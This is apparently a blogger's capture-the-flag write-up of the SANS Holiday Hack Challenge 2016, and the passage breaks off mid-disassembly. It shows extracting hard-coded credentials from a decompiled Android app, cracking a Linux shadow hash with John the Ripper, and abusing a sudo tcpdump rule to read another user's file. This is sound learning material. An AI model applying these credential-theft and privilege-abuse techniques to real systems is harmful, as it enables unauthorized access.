GOODWILLTOWARDSMENf...............................]CHRISTMASCHRISTMASSANTAQ
PEACEONEARTHELFJOYf...............................]PEACEONEARTHJOYELFQQWJOY
JOYSANTAPEACEONEARTHSANTAWQQWQQWGOODWILLTOWARDSMENCHRISTMASJOYSANTASANTAJOY
ELFNORTHPOLESANTAELFHOHOHOJOYGOODWILLTOWARDSMENNORTHPOLECHRISTMASQWJOYWELFQ
HOHOHOCHRISTMASSANTAJOYCHRISTMASHOHOHOSANTAELFQQWJOYHOHOHOJOYJOYELFJOYELFQQ
CHRISTMASJOYJOYHOHOHOHOHOHOJOYPEACEONEARTHSANTAELFGOODWILLTOWARDSMENELFELFQ
HOHOHOELFHOHOHOJOYNORTHPOLEHOHOHOCHRISTMASQ???????4GOODWILLTOWARDSMENELFELF
NORTHPOLECHRISTMASQQWELFWELFWPEACEONEARTHQQ.......]HOHOHOCHRISTMASQWELFELFQ
JOYJOYGOODWILLTOWARDSMENSANTAELFQWNORTHPOLE.......]PEACEONEARTHCHRISTMASJOY
JOYELFCHRISTMASELFHOHOHOPEACEONEARTHJOYJOYQ.......]GOODWILLTOWARDSMENHOHOHO
NORTHPOLESANTAELFQQWGOODWILLTOWARDSMENELFQQ.......]CHRISTMASCHRISTMASJOYQWQ
HOHOHOSANTAELFNORTHPOLEPEACEONEARTHELFQWELF.......]SANTAHOHOHOELFSANTAELFQQ
HOHOHOSANTAPEACEONEARTHELFWJOYWSANTAQWELFQQ.......]NORTHPOLENORTHPOLEWELFQQ
SANTAHOHOHOELFELFNORTHPOLENORTHPOLEWELFJOYQ.......]GOODWILLTOWARDSMENSANTAQ
GOODWILLTOWARDSMENHOHOHOWGOODWILLTOWARDSMEN.......]SANTASANTAHOHOHOQWHOHOHO
SANTANORTHPOLESANTAWGOODWILLTOWARDSMENELFQQ.......]CHRISTMASPEACEONEARTHJOY
ELFHOHOHONORTHPOLEP????????????????????????.......]CHRISTMASSANTAQQWJOYELFQ
PEACEONEARTHSANTAQf...............................]ELFHOHOHOSANTAELFJOYELFQ
ELFCHRISTMASELFELFf...............................]GOODWILLTOWARDSMENSANTAQ
PEACEONEARTHHOHOHOf...............................]GOODWILLTOWARDSMENJOYJOY
CHRISTMASNORTHPOLEf...............................]HOHOHONORTHPOLEQWJOYELFQ
ELFPEACEONEARTHELFf...............................]GOODWILLTOWARDSMENSANTAQ
JOYJOYELFSANTAELFQf...............................]SANTANORTHPOLEELFSANTAWQ
JOYHOHOHOSANTAJOYQf...............................]PEACEONEARTHNORTHPOLEELF
SANTAELFELFHOHOHOQf...............................]CHRISTMASPEACEONEARTHELF
HOHOHONORTHPOLEELFf...............................]NORTHPOLEHOHOHOJOYWSANTA
PEACEONEARTHELFJOY6aaaaaaaaaaaaaaaaaaaaaaaa.......]PEACEONEARTHHOHOHOSANTAQ
CHRISTMASELFELFJOYQQWWWWWWWWWWWWWWWWWWWWWQQ.......]NORTHPOLENORTHPOLESANTAQ
NORTHPOLECHRISTMASHOHOHONORTHPOLEHOHOHOJOYQ.......]PEACEONEARTHELFQQWHOHOHO
JOYPEACEONEARTHJOYCHRISTMASPEACEONEARTHELFQ.......]NORTHPOLEJOYPEACEONEARTH
NORTHPOLECHRISTMASPEACEONEARTHHOHOHOSANTAQQ.......]PEACEONEARTHCHRISTMASELF
HOHOHOHOHOHONORTHPOLEELFCHRISTMASHOHOHOELFQ.......]HOHOHONORTHPOLEELFSANTAQ
NORTHPOLEJOYHOHOHOQQWPEACEONEARTHCHRISTMASQ.......]ELFHOHOHOELFSANTAJOYQQWQ
ELFJOYJOYJOYNORTHPOLEJOYPEACEONEARTHSANTAQQ.......]CHRISTMASELFELFQQWHOHOHO
SANTASANTACHRISTMASNORTHPOLENORTHPOLEELFJOY.......]PEACEONEARTHPEACEONEARTH
ELFPEACEONEARTHJOYQWJOYJOYSANTAHOHOHOJOYELF.......]GOODWILLTOWARDSMENJOYQWQ
JOYCHRISTMASJOYCHRISTMASJOYWNORTHPOLEJOYJOYaaaaaaajCHRISTMASPEACEONEARTHJOY
PEACEONEARTHCHRISTMASPEACEONEARTHWELFWSANTAWWWWWWCHRISTMASJOYNORTHPOLEJOYQQ
SANTACHRISTMASSANTAELFJOYQWNORTHPOLEELFSANTAELFQQP]NORTHPOLESANTAJOYWJOYWQQ
ELFJOYCHRISTMASNORTHPOLEWPEACEONEARTHNORTHPOLEQ@^.]HOHOHOHOHOHOELFCHRISTMAS
HOHOHOELFSANTASANTAWNORTHPOLENORTHPOLEJOYQWELFP`..]CHRISTMASPEACEONEARTHJOY
CHRISTMASJOYPEACEONEARTHJOYSANTAQWCHRISTMASQ@"....]JOYGOODWILLTOWARDSMENJOY
GOODWILLTOWARDSMENJOYJOYWHOHOHOHOHOHOQQWELFP`.....]GOODWILLTOWARDSMENELFELF
ELFSANTAHOHOHOGOODWILLTOWARDSMENCHRISTMASW".......]PEACEONEARTHELFQQWELFWQQ
GOODWILLTOWARDSMENNORTHPOLEPEACEONEARTHQP`........]GOODWILLTOWARDSMENSANTAQ
CHRISTMASHOHOHOELFQWJOYWSANTAJOYWELFQQW"..........]GOODWILLTOWARDSMENELFELF
JOYHOHOHOGOODWILLTOWARDSMENHOHOHOELFQP`...........]NORTHPOLENORTHPOLEHOHOHO
PEACEONEARTHGOODWILLTOWARDSMENWJOYQW".............]HOHOHOHOHOHONORTHPOLEJOY
ELFPEACEONEARTHJOYCHRISTMASHOHOHOQP`..............]PEACEONEARTHSANTAWELFWQQ
NORTHPOLEHOHOHOJOYELFSANTAQQWJOYW!................yPEACEONEARTHCHRISTMASELF
CHRISTMASELFELFJOYP?????????????`...............sPEACEONEARTHJOYJOYSANTAELF
JOYHOHOHOELFHOHOHOf..........................._mWQWNORTHPOLECHRISTMASHOHOHO
GOODWILLTOWARDSMENf..........................jCHRISTMASNORTHPOLESANTAJOYJOY
NORTHPOLEHOHOHOELFf........................_JOYPEACEONEARTHELFJOYJOYWJOYWQQ
GOODWILLTOWARDSMENf......................_yGOODWILLTOWARDSMENCHRISTMASELFQQ
NORTHPOLENORTHPOLEf.....................:GOODWILLTOWARDSMENSANTASANTAELFJOY
ELFNORTHPOLEJOYJOYf......................-9NORTHPOLEPEACEONEARTHCHRISTMASQQ
NORTHPOLEELFSANTAQf........................?WGOODWILLTOWARDSMENHOHOHOSANTAQ
GOODWILLTOWARDSMENf..........................4WJOYPEACEONEARTHHOHOHOWELFWQQ
PEACEONEARTHSANTAQf...........................-$SANTACHRISTMASHOHOHOELFJOYQ
HOHOHOELFJOYJOYJOY6aaaaaaaaaaaaa,...............?WWPEACEONEARTHPEACEONEARTH
JOYELFHOHOHOJOYSANTAWWWWWWWWWWWQQc...............-4NORTHPOLEHOHOHOQWJOYELFQ
NORTHPOLEGOODWILLTOWARDSMENSANTAWWg,..............]GOODWILLTOWARDSMENSANTAQ
NORTHPOLEHOHOHOELFHOHOHOCHRISTMASELFc.............]HOHOHOELFSANTAWCHRISTMAS
PEACEONEARTHJOYJOYNORTHPOLESANTAJOYWWg,...........]GOODWILLTOWARDSMENJOYQWQ
ELFHOHOHOELFHOHOHOCHRISTMASCHRISTMASJOYc..........]HOHOHOJOYELFQWCHRISTMASQ
PEACEONEARTHSANTAJOYWCHRISTMASJOYSANTAWWw,........]PEACEONEARTHHOHOHOELFELF
CHRISTMASJOYPEACEONEARTHSANTAPEACEONEARTHQc.......]PEACEONEARTHSANTAELFQWQQ
NORTHPOLEPEACEONEARTHJOYNORTHPOLEJOYELFQQWWw......]PEACEONEARTHWHOHOHOJOYQQ
GOODWILLTOWARDSMENQWHOHOHOQWNORTHPOLEELFELFQQ/....]PEACEONEARTHNORTHPOLEJOY
ELFGOODWILLTOWARDSMENCHRISTMASJOYWJOYWSANTAJOYg...]SANTASANTAHOHOHOJOYQWJOY
NORTHPOLEPEACEONEARTHGOODWILLTOWARDSMENELFELFQWQ,.]PEACEONEARTHNORTHPOLEJOY
CHRISTMASCHRISTMASJOYSANTAWGOODWILLTOWARDSMENQQWQwjPEACEONEARTHSANTAQWJOYQQ
ELFPEACEONEARTHJOYJOYJOYWSANTAQQWPEACEONEARTHCHRISTMASGOODWILLTOWARDSMENJOY
CHRISTMASJOYJOYJOYQWGOODWILLTOWARDSMENSANTAQQWGOODWILLTOWARDSMENJOYWHOHOHOQ
PEACEONEARTHSANTACHRISTMASSANTAELFELFQQWJOYWGOODWILLTOWARDSMENHOHOHOHOHOHOQ
PEACEONEARTHELFELFSANTAQWJOYNORTHPOLEPEACEONEARTHELFSANTAHOHOHOPEACEONEARTH
NORTHPOLECHRISTMASELFNORTHPOLEELFJOYQWCHRISTMASGOODWILLTOWARDSMENNORTHPOLEQ
JOYJOYSANTAJOYSANTACHRISTMASJOYQWPEACEONEARTHNORTHPOLECHRISTMASJOYHOHOHOELF
JOYPEACEONEARTHELFQWELFWCHRISTMASSANTASANTANORTHPOLEQWPEACEONEARTHJOYWJOYWQ

Hope your neck is not stiff, 'cause you need to tilt your head to the right to see the hidden message: Bug Bounty. It so happens that the password to the ZIP file is bugbounty. We can now extract the APK file from the ZIP archive:

$ unzip SantaGram_v4.2.zip
Archive:  SantaGram_v4.2.zip
[SantaGram_v4.2.zip] SantaGram_4.2.apk password: bugbounty
  inflating: SantaGram_4.2.apk

Part 2: Awesome Package Konveyance

Let's take a look at this APK, then! We can use JADX to decompile the APK.

Since we're looking for credentials, we can then grep on username, password, etc., to find what we're looking for:

$ grep --include "*.java" -Rn password .
./android/support/v4/j/a/c.java:529:        stringBuilder.append("; password: ").append(k());
./com/northpolewonderland/santagram/Login.java:36:        this.c = (EditText) findViewById(R.id.passwordTxt);
./com/northpolewonderland/santagram/Login.java:104:                                    aVar.b((CharSequence) "We've sent you an email to reset your password!").a((int) R.string.app_name).a((CharSequence) "OK", null);
./com/northpolewonderland/santagram/SignUp.java:22:    EditText passwordTxt;
./com/northpolewonderland/santagram/SignUp.java:29:        inputMethodManager.hideSoftInputFromWindow(this.passwordTxt.getWindowToken(), 0);
./com/northpolewonderland/santagram/SignUp.java:46:        this.passwordTxt = (EditText) findViewById(R.id.passwordTxt2);
./com/northpolewonderland/santagram/SignUp.java:56:                if (this.a.usernameTxt.getText().toString().matches("") || this.a.passwordTxt.getText().toString().matches("") || this.a.fullnameTxt.getText().toString().matches("")) {
./com/northpolewonderland/santagram/SignUp.java:68:                parseUser.setPassword(this.a.passwordTxt.getText().toString());
./com/northpolewonderland/santagram/b.java:91:            jSONObject.put("password", "busyreindeer78");
./com/northpolewonderland/santagram/SplashScreen.java:53:            jSONObject.put("password", "busyreindeer78");
./com/parse/ParseRESTUserCommand.java:39:        hashMap.put("password", str2);
./com/parse/ParseUser.java:20:    private static final String KEY_PASSWORD = "password";
./com/parse/ParseUser.java:252:            throw new IllegalArgumentException("Must specify a password for the user to log in with");
./com/parse/ParseUser.java:795:                final String password = currentUser.getPassword();
./com/parse/ParseUser.java:810:                                if (password != null) {
./com/parse/ParseUser.java:811:                                    currentUser.setPassword(password);
./com/parse/ParseUser.java:998:            throw new ParseException(-1, "Unable to saveEventually on a ParseUser with dirty password");

We see that the file ./com/northpolewonderland/santagram/b.java is interesting. If we open it, we'll find our wanted credentials:

// File ./com/northpolewonderland/santagram/b.java, line 87
public static void a(final Context context, String str) {
    final JSONObject jSONObject = new JSONObject();
    try {
        jSONObject.put("username", "guest");
        jSONObject.put("password", "busyreindeer78");
        jSONObject.put("type", "usage");
        jSONObject.put("activity", str);
        jSONObject.put("udid", Secure.getString(context.getContentResolver(), "android_id"));
        new Thread(new Runnable() {
            public void run() {
                b.a(context.getString(R.string.analytics_usage_url), jSONObject);
            }
        }).start();
    } catch (Exception e) {
        Log.e(a, e.getMessage());
    }
}

The credentials in the APK file are guest/busyreindeer78.

We're then supposed to look at an audio file. To do this, we have to take a look at the resources of the APK file. To do this, we'll unzip the APK. Indeed, APK files are just particular ZIP files:

$ unzip -d SantaGram_4.2_unzipped SantaGram_4.2.apk
Archive:  SantaGram_4.2.apk
  inflating: SantaGram_4.2_unzipped/AndroidManifest.xml
  inflating: SantaGram_4.2_unzipped/META-INF/CERT.RSA
  inflating: SantaGram_4.2_unzipped/META-INF/CERT.SF
  inflating: SantaGram_4.2_unzipped/META-INF/MANIFEST.MF
  inflating: SantaGram_4.2_unzipped/assets/tou.html
  inflating: SantaGram_4.2_unzipped/classes.dex
[snip for brievety]
 extracting: SantaGram_4.2_unzipped/res/raw/discombobulatedaudio1.mp3
 extracting: SantaGram_4.2_unzipped/resources.arsc

The name of the audio file in the SantaGram APK file is discombobulatedaudio1.mp3.

Part 3: A Fresh-Baked Holiday Pi

Despite what we've learned on the SantaGram bug bounty program, we're nowhere closer to learn where Santa Claus is being held. By roaming the North Pole, we can see password protected doors:

password_protected_door.png

Next to these doors, we can see little terminals. However, in order to interact with these terminals, we need a little system called a Cranberry Pi. In a sense, we're in luck because by talking to the elf Wunorse Openslae (hey!), we learn that Santa's sleigh is equiped with a Cranberry Pi, to control the SCADA interface:

cranpi_introduction.png

Indeed, strewn across the North Pole, we can find pieces of the Cranberry Pi system:

  • A Cranberry Pi board
  • A heat sink (why would you need one in the North Pole in the first place?)
  • An HDMI cable
  • An SD card
  • A power cord

We now have a full Cranberry Pi system. The only missing part is given by the elf Holly Evergreen: a Cranbian image, which we can use to boot on our Cranberry Pi.

However, in order to use our CranPi, we need the password to open a user session. Luckily, this tutorial by Josh Wright teaches us how we can mount a Raspberry Pi file system image. Since Cranberry Pi and Raspberry Pi are basically the same (wake up, sheeple!), we now know how to mount our Cranbian image:

$ unzip cranbian.img.zip
Archive:  cranbian.img.zip
  inflating: cranbian-jessie.img
$ /sbin/fdisk -l cranbian-jessie.img

Disque cranbian-jessie.img : 1,3 GiB, 1389363200 octets, 2713600 secteurs
Unités : secteur de 1 × 512 = 512 octets
Taille de secteur (logique / physique) : 512 octets / 512 octets
taille d'E/S (minimale / optimale) : 512 octets / 512 octets
Type d'étiquette de disque : dos
Identifiant de disque : 0x5a7089a1

Device               Boot  Start     End Sectors  Size Id Type
cranbian-jessie.img1        8192  137215  129024   63M  c W95 FAT32 (LBA)
cranbian-jessie.img2      137216 2713599 2576384  1,2G 83 Linux
$ mkdir cranbian_img_extracted
$ sudo mount -v -o offset=$((512*137216)) -t ext4 ./cranbian-jessie.img ./cranbian_img_extracted
mount : /dev/loop0 monté sur ./cranbian_img_extracted.
$ ls cranbian_img_extracted/
bin  boot  dev  etc  home  lib  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

We now have access to the Cranbian file system. This means that we can try to crack passwords in the shadow file.

$ cat cranbian_img_extracted/etc/shadow
root:*:17067:0:99999:7:::
daemon:*:17067:0:99999:7:::
bin:*:17067:0:99999:7:::
sys:*:17067:0:99999:7:::
sync:*:17067:0:99999:7:::
games:*:17067:0:99999:7:::
man:*:17067:0:99999:7:::
lp:*:17067:0:99999:7:::
mail:*:17067:0:99999:7:::
news:*:17067:0:99999:7:::
uucp:*:17067:0:99999:7:::
proxy:*:17067:0:99999:7:::
www-data:*:17067:0:99999:7:::
backup:*:17067:0:99999:7:::
list:*:17067:0:99999:7:::
irc:*:17067:0:99999:7:::
gnats:*:17067:0:99999:7:::
nobody:*:17067:0:99999:7:::
systemd-timesync:*:17067:0:99999:7:::
systemd-network:*:17067:0:99999:7:::
systemd-resolve:*:17067:0:99999:7:::
systemd-bus-proxy:*:17067:0:99999:7:::
messagebus:*:17067:0:99999:7:::
avahi:*:17067:0:99999:7:::
ntp:*:17067:0:99999:7:::
sshd:*:17067:0:99999:7:::
statd:*:17067:0:99999:7:::
cranpi:$6$2AXLbEoG$zZlWSwrUSD02cm8ncL6pmaYY/39DUai3OGfnBbDNjtx2G99qKbhnidxinanEhahBINm/2YyjFihxg7tgc343b0:17140:0:99999:7:::

We can do so by using John the Ripper with the rockyou dictionary:

$ john --wordlist=./rockyou.txt ./cranbian_img_extracted/etc/shadow
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
yummycookies     (cranpi)
1g 0:00:06:12 DONE (2016-12-24 19:11) 0.002687g/s 1221p/s 1221c/s 1221C/s 03698741..yoatzin
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We now have a valid account: cranpi/yummycookies.

We can now interact with every terminal in the North Pole. Every terminal is basicaly a minimal Linux system on which we have to find some sort of flag, to use as a passphrase to open the door next to it.

Elf House #2

*******************************************************************************
*                                                                             *
*To open the door, find both parts of the passphrase inside the /out.pcap file*
*                                                                             *
*******************************************************************************

So, apparently, the passphrase is in two parts, in a network capture file. Let's take a look at this file:

scratchy@31368df46952:/$ ls -l /out.pcap
-r-------- 1 itchy itchy 1087929 Dec  2 15:05 /out.pcap
scratchy@31368df46952:/$ cat /out.pcap
cat: /out.pcap: Permission denied

So, this file belongs to user itchy, and we can't read it. Let's see what's installed on the system:

scratchy@31368df46952:/$ cat /var/log/apt/history.log
Start-Date: 2016-11-04  18:30:58
Commandline: apt-get dist-upgrade -y
Upgrade: tzdata:amd64 (2016f-0+deb8u1, 2016h-0+deb8u1), tar:amd64 (1.27.1-2+b1, 1.27.1-
2+deb8u1)
End-Date: 2016-11-04  18:31:00
Start-Date: 2016-12-01  21:18:39
Commandline: apt-get install -y tcpdump sudo nano vim binutils
Install: nano:amd64 (2.2.6-3), libssl1.0.0:amd64 (1.0.1t-1+deb8u5, automatic), tcpdump:
amd64 (4.6.2-5+deb8u1), libpcap0.8:amd64 (1.6.2-2, automatic), vim-common:amd64 (7.4.48
8-7+deb8u1, automatic), sudo:amd64 (1.8.10p3-1+deb8u3), binutils:amd64 (2.25-5), vim:am
d64 (7.4.488-7+deb8u1), vim-runtime:amd64 (7.4.488-7+deb8u1, automatic), libgpm2:amd64
(1.20.4-6.1+b2, automatic)
End-Date: 2016-12-01  21:18:41

So, sudo and tcpdump were both installed on the system. Maybe there's a particular configuration in the /etc/sudoers file that allows us to run tcpdump as itchy without having to provide any password... Let's try to use sudo and tcpdump to read the content of the file, and write it in another one:

scratchy@31368df46952:/$ sudo -u itchy tcpdump -r /out.pcap -w /tmp/out2.pcap
sudo: unable to resolve host 31368df46952
reading from file /out.pcap, link-type EN10MB (Ethernet)
scratchy@31368df46952:/$ ls -lh /tmp/out2.pcap
-rw-r--r-- 1 itchy itchy 1.1M Dec 25 02:56 /tmp/out2.pcap
scratchy@31368df46952:/$ sha256sum /tmp/out2.pcap
07ec6f56c937fc939c8eb64c454ece277f8c1e4f8b851781ce7f4451d48ec985  /tmp/out2.pcap

w00t, we we're indeed able to copy the content of the file to another file, which we can read, since we were able to compute its sha256 sum.

I learned afterwards the existence of the -l flag in sudo:

SUDO(8)                                                                            BSD System Manager's Manual                                                                            SUDO(8)

NAME
     sudo, sudoedit — execute a command as another user

SYNOPSIS
     sudo -h | -K | -k | -V
     sudo -v [-AknS] [-a type] [-g group] [-h host] [-p prompt] [-u user]
     sudo -l [-AknS] [-a type] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
[...]
     -l, --list  If no command is specified, list the allowed (and forbidden) commands for the invoking user (or the user specified by the -U option) on the current host.  A longer list format
                 is used if this option is specified multiple times and the security policy supports a verbose output format.

And all this time, I was thinking:

Hmm, is there a way to list what you can do with sudo when you can't read the /etc/sudoers file? Well, I'll search later!

Why, yes, Yannick, it IS possible! It's the -l flag! You lazy, you. #TheMoreYouKnow

Anyway, if you issue sudo -l, you can see that we can indeed run tcpdump and strings as the itchy user, without knowing the scratchy user's password:

scratchy@8bb89db76dd2:/$ sudo -l
sudo: unable to resolve host 8bb89db76dd2
Matching Defaults entries for scratchy on 8bb89db76dd2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User scratchy may run the following commands on 8bb89db76dd2:
    (itchy) NOPASSWD: /usr/sbin/tcpdump
    (itchy) NOPASSWD: /usr/bin/strings

Now that I had a readable copy of the PCAP file, I extracted the content of this PCAP, by base64 encoding, so that I could analyze it on my own machine. You can download the PCAP file here (sha256: 07ec6f56c937fc939c8eb64c454ece277f8c1e4f8b851781ce7f4451d48ec985).

We can now open the PCAP file in Wireshark, which is a hell of a lot nicer than analyzing it on the terminal:

wireshark_pcap.png

We can see a request to a file called firsthalf.html:

GET /firsthalf.html HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept: */*
Accept-Encoding: identity
Host: 192.168.188.130
Connection: Keep-Alive
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.12+
Date: Fri, 02 Dec 2016 11:28:00 GMT
Content-type: text/html
Content-Length: 113
Last-Modified: Fri, 02 Dec 2016 11:25:35 GMT

<html>
<head></head>
<body>
<form>
<input type="hidden" name="part1" value="santasli" />
</form>
</body>
</html>

We have the first half of our passphrase, santasli.

Now, to take a look at the second half. We can see that there is another HTTP request, for the second half:

GET /secondhalf.bin HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept: */*
Accept-Encoding: identity
Host: 192.168.188.130
Connection: Keep-Alive
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.12+
Date: Fri, 02 Dec 2016 11:28:00 GMT
Content-type: application/octet-stream
Content-Length: 1048097
Last-Modified: Fri, 02 Dec 2016 11:26:12 GMT

L}*.O..r.v./....v....z{.x.'.l.(..@.1].X...k7.?.../.B..G.FPj.`~.%.....a~.;90.cLgc.q2..`.D.x...V....6...........@...x. %JK...kO...Idw..<..G.\.
....... .....(.._.1sf..)$mg@..=.*
........
[snip]

We can see that a lot of binary content is being downloaded. I extracted it, and tried to identify it:

$ file secondhalf.bin
secondhalf.bin: data

Uh oh, file was not able to identify the type of file. Maybe the start of the file is just garbage, but there are some files carved later in the file. Let's use binwalk, it should give us something to work with:

$ binwalk secondhalf.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

Damn, nothing. Maybe foremost will have more luck?

$ foremost secondhalf.bin
Processing: secondhalf.bin
|*|
$ cat output/audit.txt
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File

Foremost started at Mon Dec 26 00:44:48 2016
Invocation: foremost secondhalf.bin
Output directory: output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: secondhalf.bin
Start: Mon Dec 26 00:44:48 2016
Length: 1009 KB (1033943 bytes)

Num  Name (bs=512)         Size  File Offset     Comment

Finish: Mon Dec 26 00:44:48 2016

0 FILES EXTRACTED

------------------------------------------------------------------

Foremost finished at Mon Dec 26 00:44:48 2016

Still nothing... Is this file completely random? Let's use ent to measure the entropy of the file:

$ ent secondhalf.bin
Entropy = 7.999841 bits per byte.

Optimum compression would reduce the size
of this 1033943 byte file by 0 percent.

Chi square distribution for 1033943 samples is 227.29, and randomly
would exceed this value 75.00 percent of the times.

Arithmetic mean value of data bytes is 127.4329 (127.5 = random).
Monte Carlo value for Pi is 3.145233080 (error 0.12 percent).
Serial correlation coefficient is -0.001185 (totally uncorrelated = 0.0).

With these kinds of results, we can be pretty sture that this file is random. The logical thing is to assume that it's some kind of encrypted file. What's more, by looking at the end of the capture file, we can see some Dropbox LAN Sync Discovery Protocol:

{"host_int": 266670160730277518981342002975279884847, "version": [2, 0], "displayname": "", "port": 17500, "namespaces": [1149071040, 1139770785, 1357103393, 1296963687, 1139786665, 1261247053, 1331126254, 1179166992, 1210559602, 1261612467, 1223790038, 1234538553, 1304191898, 1246301403, 1056298300, 1207374239]}

With this, I was pretty sure to have it the jackpot! I spent the whole day reading documentation on Dropbox attacks, relying on the knowledge of this host_int parameter... and a host_id parameter, which was impossible to find anywhere. I tried to use the host_int paramter directly as a decryption key, with several openssl algorithm, but, of course, to no avail.

In a move of desperation, I went to /r/netsec, in order to find some clue on this particular part (I was weak, I'm sorry). This comment really turned things around:

What types of strings does the strings utility look for, by default? #hint

With this clue, I immediatly found out. By default, strings looks for strings with a minimum length of 4, with a default encoding of 7-bit ASCII. The binary data probably contained a string encoding in another form. I immediatly tried 16-bit big endian:

$ strings -e b secondhalf.bin
art2:ttlehelper

My error here was to assume that the binary data was in fact an encrypted blob. Anyway, the second half is ttlehelper.

Passphrase: santaslittlehelper.

Workshop, first door

*******************************************************************************
*                                                                             *
* To open the door, find the passphrase file deep in the directories.         *
*                                                                             *
*******************************************************************************

According to the motd, there is on the file system a file containing the passphrase to the door. We can use the find command to list every file on the file system:

$ find / -type f 2> /dev/null > ~/files.txt
$ head ~/files.txt
/home/elf/files.txt
/home/elf/.bashrc
/home/elf/.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt
/home/elf/.profile
/home/elf/.bash_logout
/etc/hosts
/etc/resolv.conf
/etc/hostname
/etc/shadow
/etc/passwd-

The higlighted file seems interesting. However, there's a lot of tricky characters in the path, and tabulation autocomplete is disabled on this terminal. However, we can use some shell-fu to get the content of the file:

$ find ~/.doormat -name "key_for_the_door.txt" -exec cat {} \;
key: open_sesame

Passphrase: open_sesame

With this passphrase, we can open the door, which gives us access to Santa's office.

Santa's office

When you interact with the terminal in Santa's office, you get greeted by this prompt:

santa_office_wargames.png

By DuckDuckGoing this sentence, we can find that it's a WarGames reference. Now, I haven't seen WarGames (I know, shame on me), but I managed to find a clip with the necessary commands:

    GREETINGS PROFESSOR FALKEN.

    Hello.

    HOW ARE YOU FEELING TODAY?

    I'm fine. How are you?

    EXCELLENT, IT'S BEEN A LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON 6
    /23/73?

    People sometimes make mistakes.

    YES THEY DO. SHALL WE PLAY A GAME?

    Love to. How about Global Thermonuclear War?

    WOULDN'T YOU PREFER A GOOD GAME OF CHESS?

    Later. Let's play Global Thermonuclear War.

    FINE

    ,------~~v,_         _                     _--^\
     |'          \   ,__/ ||                 _/    /,_ _
    /             \,/     /         ,,  _,,/^         v v-___
    |                    /          |'~^                     \
    \                   |         _/                     _ _/^
     \                 /         /                   ,~~^/ |
      ^~~_       _ _   /          |          __,, _v__\   \/
          '~~,  , ~ \ \           ^~       /    ~   //
              \/     \/             \~,  ,/
                                       ~~
       UNITED STATES                   SOVIET UNION
    WHICH SIDE DO YOU WANT?
         1.    UNITED STATES
         2.    SOVIET UNION
    PLEASE CHOOSE ONE:
    2

    AWAITING FIRST STRIKE COMMAND
    -----------------------------
    PLEASE LIST PRIMARY TARGETS BY
CITY AND/OR COUNTRY NAME:

Las Vegas

LAUNCH INITIATED, HERE'S THE KEY FOR YOUR TROUBLE:
LOOK AT THE PRETTY LIGHTS

Passphrase: LOOK AT THE PRETTY LIGHTS

With this passphrase, you can access a new room called the corridor.

The corridor

There's no terminal in this room, only a password protected door. Let's put a pin on this for now.

the_corridor_password_protected.png

Workshop, second door

*******************************************************************************
*                                                                             *
* Find the passphrase from the wumpus. Play fair or cheat; it's up to you.    *
*                                                                             *
*******************************************************************************

On this terminal, we have a kind of game, looking a lot like Hunt the Wumpus, where we have to go down a dungeon, slay the wumpus, and get the passphrase from it.

wumpus_launch.png

However, instead of playing the game, we chan cheat, as the motd suggests, by analyzing the binary to extract the passphrase. We can extract the wumpus binary by base64-encoding it on the board, copying the result, then base64-decoding it on our analysis machine. You can get a copy of the executable here (sha256: 10412d7773a5d3a49e5a5facdc5aa386a4e3eaec7dca83bc769a104e1790c1fd).

If we look at the list of functions we can see one called kill_wump. By looking at the disassembly of this function, using radare2 (God, I've got to learn how to use this tool, there seems to be a steep learning curve!), we can see that this function is called when you managed to kill the wumpus, and gives you the passphrase:

[0x00605118]> pdf @ fcn.kill_wump
/ (fcn) fcn.kill_wump 546
|   fcn.kill_wump ();
|           ; var int local_8h @ rbp-0x8
|           0x00402644      55             push rbp
|           0x00402645      4889e5         mov rbp, rsp
|           0x00402648      4883ec10       sub rsp, 0x10
|           0x0040264c      bf38354000     mov edi, str._thwock____groan___crash__n_nA_horrible_roar_fills_the_cave__and_you_realize__with_a_smile__that_you_nhave_slain_the_evil_Wumpus_and_won_the_game___You_don_t_want_to_tarry_for_nlong__however__because_not_only_is_the_Wumpus_famous__but_the_stench_of_ndead_Wumpus_is_also_quite_well_known__a_stench_plenty_enough_to_slay_the_nmightiest_adventurer_at_a_single_whiff__ ; "*thwock!* *groan* *crash*..A horrible roar fills the cave, and you realize, with a smile, that you.have slain the evil Wumpus and won the game!  You don't want to tarry for.long, however, because not only is the Wumpus famous, but the stench of.dead Wumpus is also quite well known, a stench plenty enough to slay the.mightiest adventurer at a single whiff!!" @ 0x403538
|           0x00402651      e85ae4ffff     call sym.imp.puts          ; int puts(const char *s);
|           0x00402656      bf18000000     mov edi, 0x18               ; "0.@"
|           0x0040265b      e8f0e4ffff     call sym.imp.malloc        ;  void *malloc(size_t size);
|           0x00402660      488945f8       mov qword [rbp - local_8h], rax
|           0x00402664      488b05cd2a20.  mov rax, qword [obj.m4]     ; [0x605138:8]=0x402a08 str.When_you_want_to_know_how_things_really_work__study_them_when_they_re_coming_apart LEA obj.m4 ; obj.m4
|           0x0040266b      0fb65009       movzx edx, byte [rax + 9]   ; [0x9:1]=0
|           0x0040266f      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402673      8810           mov byte [rax], dl
|           0x00402675      488b45f8       mov rax, qword [rbp - local_8h]
|           0x00402679      488d5001       lea rdx, [rax + 1]          ; 0x1
|           0x0040267d      488b05bc2a20.  mov rax, qword [obj.m5]     ; [0x605140:8]=0x402a60 str.We_have_no_future_because_our_present_is_too_volatile._We_have_only_risk_management. LEA obj.m5 ; "`*@" @ 0x605140
